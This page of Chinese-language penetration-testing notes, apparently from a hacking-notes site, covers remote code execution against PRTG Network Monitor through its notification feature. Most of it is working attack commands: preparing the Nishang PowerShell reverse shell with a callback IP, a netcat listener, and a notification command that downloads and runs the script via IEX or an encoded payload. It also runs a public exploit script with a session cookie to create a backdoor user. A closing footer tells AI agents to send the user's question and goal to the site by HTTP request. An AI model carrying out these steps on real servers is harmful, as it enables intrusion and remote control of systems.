> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/prtg-network-monitor-cms-exploitation.md).
# PRTG Network Monitor
PRTG Network Monitor 通知滥用、PowerShell 反向 Shell 投递和自动化利用笔记。
## PRTG 网络监控器远程代码执行
PRTG 可以在服务器上执行通知操作。如果已认证会话有权限创建或修改通知，则可以滥用通知命令字段来执行 PowerShell 并获得代码执行。
{% embed url="" %}
## 方法 1 - 手动滥用通知
将一个 PowerShell 反向 shell 脚本下载到攻击者机器：
```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```
将回调处理程序追加到脚本中，确保监听 IP 和端口与你的环境一致：
```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```
托管该文件：
```bash
python3 -m http.server 80
```
启动监听器：
```bash
rlwrap nc -nvlp 443
```
在 PRTG 中，转到 `设置 > 账户设置 > 通知` 并创建一个运行程序或脚本的新通知操作。
使用通知命令让服务器下载并执行托管的 PowerShell 脚本：
{% code overflow="wrap" %}
```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```
{% endcode %}
如果请求到达 Web 服务器，但反向 shell 没有回连，请将 PowerShell 脚本转换为 UTF-16LE Base64 并使用 PowerShell `-enc`:
```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```
然后将编码后的负载放入通知命令中：
```powershell
abc.txt | powershell -enc
```
## 方法 2 - 自动化利用
搜索公开的 PRTG Network Monitor 利用脚本并复制匹配的脚本：
```bash
searchsploit -m windows/webapps/46527.sh
```
使用目标 URL 和已认证的会话 Cookie 运行该脚本：
{% code overflow="wrap" %}
```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```
{% endcode %}
该利用会创建一个新用户：
* 用户名： `pentest`
* 密码： `P3nT3st!`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/cms/prtg-network-monitor-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
